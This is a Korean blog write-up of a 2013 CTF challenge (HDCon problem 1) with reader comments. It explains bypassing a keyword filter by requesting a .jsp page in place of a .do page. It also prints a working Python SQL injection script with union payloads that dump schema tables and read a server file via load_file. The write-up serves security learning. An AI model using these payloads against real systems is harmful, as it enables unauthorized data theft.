1번 문제는 sql injection 문제였다.


injection 위치는 limit 부분이었다.


limit 부분에 인젝션이 가능할때는 union 인젝션만 가능하다고 알고 있었고, 이게 맞는듯 하다.

그래서 '(', select, from 등이 필터링이 되어있다는걸 알았을때는 멘붕이었고, 내가 잘못 알고 있나 해서 검색을 엄청나게 했다.

하지만, 이 문제는 좀 다른 방향으로 접근해야 했다.

문제파일의 확장자는 'do' 였다. do 확장자에 대해 검색해보면, do 확장자에서 jsp를 불러온다는걸 알수있다.

그래서 students.do 대신 students.jsp로 요청을 하면 ,select의 필터링이 풀린다. 

(즉, do에서 필터링을 하고있었다는걸 알수있다.)

그 후에는 간단한 union 인젝션이다.


import httplib,urllib;
import time
 
conn = httplib.HTTPConnection("118.107.172.213",8889)
conn.connect()
 
# id,name,age,sex,email,title,campus
#query = "12) union (select 0,table_name,0,0x41,0x41,0x41,0x41 from information_schema.tables where table_schema =0x6b6973616864636f6e31); # "
#query = "12) union (select 0,column_name,0,0x41,0x41,0x41,0x41 from information_schema.columns where table_name=0x736563726574); # "
#query = "1) union (select 0,flag,0,0x41,0x41,0x41,0x41 from secret); # "
query = "1) union (select 0,load_file(0x2f7661722f6c69622f6d7973716c2f464c4147),0,0x41,0x41,0x41,0x41); # "
#query = "12) union (select 0,database(),0,0x41,0x41,0x41,0x41); # "
print query
params = urllib.urlencode({'show':query})
#params = params.replace('select','%u0073elect')
print params
conn.putrequest('GET','/kisaHdconWeb1/students.jsp?'+params)
conn.endheaders()
response = conn.getresponse()
data = response.read()
conn.close()
#print data[1000:len(data)-800]
print data


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 4번 문제 write up  (0) 2013.06.08
[HDCon 2013] 3번 문제 write up  (0) 2013.06.08
[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
posted by tunz
  • 0x0B 2013.06.10 16:01

    혹시 키 파일 디렉토리는 어떻게 구해왔는지 알수있을까요..?
    ;.jsp 같은 취약점 이용해보려했는데 버전이높아서 디렉토리를 구해오진못했는데..

    • tunz 2013.06.10 17:16 신고

      키파일 디렉토리는 주어졌습니다.
      flag 테이블을 우선 찾아내고 나서, 데이터를 읽어보니
      path를 주면서 해당 path에 키가 있다고 하더군요.
      그래서 load_file로 불렀습니다.

  • 0x0B 2013.06.10 18:08

    그렇군요 답변감사합니다 :D

  • 녈비 2013.06.13 18:26

    궁금한 게 하나 있는데요! 인젝션 코드에서 숫자 파라미터 뒤에 괄호 닫기')'는 왜 들어가는 건가요? 본래 테이블 출력해주는 select 문 앞에 괄호 열기 '('가 있었던 건가요? 그렇다면 그걸 어떻게 아셨나요?

    • tunz 2013.06.13 19:37 신고

      그게 그냥 숫자를 치고 #을 하니 에러가 나더군요.
      그러면 추측할수 있는건 mysql이 아니거나, 괄호나 따옴표등이 안닫혔다고 추측할수 있어요.
      그래서 괄호를 하나 닫아보고 #을 해보니 제대로 되길래 그렇게 추측했습니다.

    • 녈비 2013.06.13 21:41

      아 그렇군요. 답변 감사합니다~:)